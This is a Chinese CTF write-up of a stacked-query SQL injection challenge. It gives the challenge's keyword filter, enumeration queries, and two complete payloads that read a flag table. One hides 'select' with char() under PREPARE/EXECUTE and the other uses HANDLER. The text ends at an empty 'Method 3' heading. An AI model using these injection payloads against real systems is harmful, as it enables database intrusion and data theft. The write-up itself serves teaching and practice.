@Author: Patrilic
@Time: 2019-06-05 20:59:32

很少遇到使用 mysqli_multi_query() 的题目,做个记录

概率论使我憔悴

0x01 思路

打开题目,就一个<input>标签,随便输一个数字,burp抓一下
a9bba15b8d47ba4edea294709f323bc5

感觉是一般的select语句

1
select id, data from table_name where id = {$inject}

测一下过滤情况
随便输入一个0535bce1ced6095c073ded1c06110095
爆出过滤情况

1
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);

尝试一波extractvalue(),无果..

然后就在测试一些常用的情况,类似于

1
if((substr(user(),1,1)>'a'),sleep(5),1);

后来@hpdoger告诉我说可以堆叠查询..
于是乎..

1
show databases;

e77b6cef87b97ccf9d695c4f36dd2fe2

1
show tables

acde9a6b7ba360dbb9e0404f47a48a1c

1
describe`1919810931114514`

6bcd5a04abba3759bc0d190a82b550ce

1
show variables like 'version'

9a2a58383e535d53cc886c3078bfbe33

所以现在的信息就是

1
2
3
4
database: supersqli
table: 1919810931114514
column: flag
version: 10.0.27-MariaDB-0ubuntu0.16.04.1

然后还有个好玩的:
查看grant的时候: ;SHOW GRANTS FOR CURRENT_USER()
f7c19dd203bc1755b0d46759e09f93c7

现在目标明确,就是要

1
select flag from 191981093111414

方法1

利用set将select flag from 1919810931114514写入变量@patrilic中,利用prepare将变量设置为预处理,然后再execute

主要可以bypass掉select,用char()函数带入。

1
set @patrilic=concat(char(115,101,108,101,99,116,32),char(102,108,97,103,32),char(102,114,111,109,32),1919810931114514);

f30557894cf438c4e47146a0cb3bbc45

然后直接执行即可.
payload:

1
inject=';SET+@patrilic=concat(char(115,101,108,101,99,116,32),char(102,108,97,103,32),char(102,114,111,109,32),char(96),1919810931114514,char(96));prepare+patrilic+from+@patrilic;execute+patrilic%23

参考:
https://blog.csdn.net/qq_42030417/article/details/80372800

方法2

利用mysql::handler
078ec36715ece7186ada02a51ac1f367

也可使用别名
5e65dda79fc38e997716d9f5139dc88a

payload:

1
inject=';handler+`1919810931114514`+open;handler`1919810931114514`read+first%23

参考:
https://dev.mysql.com/doc/refman/5.7/en/handler.html
https://blog.csdn.net/JesseYoung/article/details/40785137

方法3